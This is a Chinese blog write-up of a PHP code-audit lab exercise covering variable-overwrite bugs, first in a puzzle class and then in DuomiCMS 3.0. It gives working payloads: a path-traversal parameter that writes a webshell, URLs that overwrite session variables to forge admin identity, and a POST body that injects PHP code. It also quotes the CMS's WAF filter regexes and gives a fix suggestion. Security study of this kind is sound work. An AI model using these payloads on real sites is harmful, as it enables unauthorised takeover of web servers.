【漏洞练习-Day14】DuomiCMS_3.0 变量覆盖漏洞 造成命令执行

开始练习【红日团队】的PHP-Audit-Labs 代码审计 Day14
链接:https://github.com/hongriSec/PHP-Audit-Labs
感兴趣的同学可以去练习练习
预备知识:
内容题目均来自 PHP SECURITY CALENDAR 2017
Day 14 - Snowman代码如下:

class Carrot {
  const EXTERNAL_DIRECTORY = '/tmp/';
  private $id;
  private $lost = 0;
  private $bought = 0;

  public function __construct($input) {
    $this->id = rand(1, 1000);

    foreach ($input as $field => $count) {
      $this->$field = $count++;
    }
  }

  public function __destruct() {
    file_put_contents(
      self::EXTERNAL_DIRECTORY . $this->id,
      var_export(get_object_vars($this), true)
    );
  }
}

$carrot = new Carrot($_GET);

漏洞解析 :
这道题目讲的是一个 变量覆盖路径穿越问题。在 第10-11行处,

    foreach ($input as $field => $count) {
      $this->$field = $count++;
    }

Carrot类的构造方法将超全局数组$_GET进行变量注册,这样即可覆盖第8行 已定义的 $this->变量。

    $this->id = rand(1, 1000);

而在第16-18行处的析构函数中

    file_put_contents(
      self::EXTERNAL_DIRECTORY . $this->id,
      var_export(get_object_vars($this), true)
    );

file_put_contents函数的第一个参数又是由 $this->变量拼接的,这就导致我们可以控制写入文件的位置,最终造成任意文件写入问题。下面我们试着使用 payloadid=../var/www/html/shell.php&shell=',)%0a//写入 webshell :
在这里插入图片描述

实例分析:

本次实例分析, 我们选取的是DuomiCMS_3.0 最新版进行相关漏洞分析 。

漏洞POC 本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

漏洞分析:

该CMS存在全局变量注册问题,如果程序编写不当,会导致变量覆盖,本次我们便来分析 由变量覆盖导致的getshell问题。

首先我们先来看一下该CMS中的全局变量注册代码,该代码位于duomiphp/common.php(36-55行)文件中,如下:

function _RunMagicQuotes(&$svar)
{
	if(!get_magic_quotes_gpc())
	{
		if( is_array($svar) )
		{
			foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
		}
		else
		{
			$svar = addslashes($svar);
		}
	}
	return $svar;
}

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
	foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

其中_RunMagicQuotes 函数将特殊符号,使用 addslashes函数进行转义处理。我们来搜索 fwrite函数,看看是否存在可利用的写文件程序(为了写 shell)。phpstorm程序搜索结果如下:
在这里插入图片描述
我们可以看到有一个 admin\admin_ping.php文件中,存在可利用的地方,因为其写入的目标文件为 PHP 程序,且写入内容中存在两个可控变量。其代码具体如下:
在这里插入图片描述
$weburl变量和 $token变量从 POST方式获取,其变量也只是经过 _RunMagicQuotes函数过滤处理,以及duomiphp\webscan.php文件的过滤规则(18-22行),

$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*
(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\
(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\
([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-
z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\
(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?
[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|
<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|
(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?
(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?
\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|
(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\
(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\
(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?
when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[^>]*?
\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\
(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?
[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|
<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|
(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?
(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?|
(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|
(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\
(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\
(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?
[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\
(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\
(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?
VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\
(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+
(TABLE|DATABASE)";

但是并不影响我们写shell。

然而要想利用这个文件,我们就必须是admin 身份,不然没有权限访问该文件。所以我们看看该CMS是如何对用户身份进行认定的,是否可以利用之前的变量覆盖来伪造身份呢?
跟进 admin\admin_ping.php文件开头包含的 admin\config.php文件,那么我们要关注的是如下代码:
在这里插入图片描述
我们需要知道程序是如何对用户的身份进行处理的,跟进duomiphp\check.admin.php文件(34-54行),关注如下代码:
在这里插入图片描述
我们可以看到这里记录了用户名字所属组用户,再来看看 admin所对应的这三个值分别是多少。找到 admin\login.php文件(57-88行)

		if(!empty($userid) && !empty($pwd))
		{
			$res = $cuserLogin->checkUser($userid,$pwd);

			//success
			if($res==1)
			{
				$cuserLogin->keepUser();
				if(!empty($gotopage))
				{
					ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);
					exit();
				}
				else
				{
					ShowMsg('成功登录,正在转向管理管理主页!',"index.php");
					exit();
				}
			}

			//error
			else if($res==-1)
			{
				ShowMsg('你的用户名不存在!','-1');
				exit();
			}
			else
			{
				ShowMsg('你的密码错误!','-1');
				exit();
			}
		}

其中第3行开始,我们只要让checkUser 方法返回1即是admin用户

跟进 duomiphp\check.admin.php文件(72-101行)的 checkUser方法,具体代码如下:

function checkUser($username,$userpwd)
{
global $dsql;

//只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
$this->userName = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$username);
$this->userPwd = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$userpwd);
$pwd = substr(md5($this->userPwd),5,20);
$dsql->SetQuery("Select * From `duomi_admin` where name like '".$this->userName."' and state='1' limit 0,1");
$dsql->Execute();
$row = $dsql->GetObject();
if(!isset($row->password))
{
return -1;
}
else if($pwd!=$row->password)
{
return -2;
}
else
{
$loginip = GetIP();
$this->userID = $row->id;
$this->groupid = $row->groupid;
$this->userName = $row->name;
$inquery = "update `duomi_admin` set loginip='$loginip',logintime='".time()."' where id='".$row->id."'";
$dsql->ExecuteNoneQuery($inquery);
return 1;
}
}

我们直接使用正确admin账号密码登录后台,可以观察到admin用户对应的用户和所属组均为1。
在这里插入图片描述
那么现在我们只要利用变量覆盖漏洞,覆盖 session的值,从而伪造 admin身份,然后就可以愉快的写shell了。

漏洞利用:

我们需要先找一些开启session_start函数的程序来辅助我们伪造身份,我们这里就选择 member/share.php文件。
在这里插入图片描述
我们先访问如下 payload

http://10.211.55.5/member/share.php?_SESSION[duomi_group_]=1&_SESSION[duomi_admin_]=1
http://10.211.55.5/admin/admin_ping.php?action=set

post:

weburl=";phpinfo();//&token=

在这里插入图片描述

修复建议:

实际上,这个漏洞和Dedecms变量覆盖漏洞很相似。而在Dedecms的官方修复代码中,多了检测变量名是否为PHP原有的超全局数组,如果是,则直接退出并告知变量不允许,具体修复代码如下:

在这里插入图片描述

结语

再次感谢【红日团队】

参考文章

PHP的两个特性导致waf绕过注入

request导致的安全性问题分析

发布了35 篇原创文章 · 获赞 19 · 访问量 5184

猜你喜欢

转载自blog.csdn.net/zhangpen130/article/details/104051213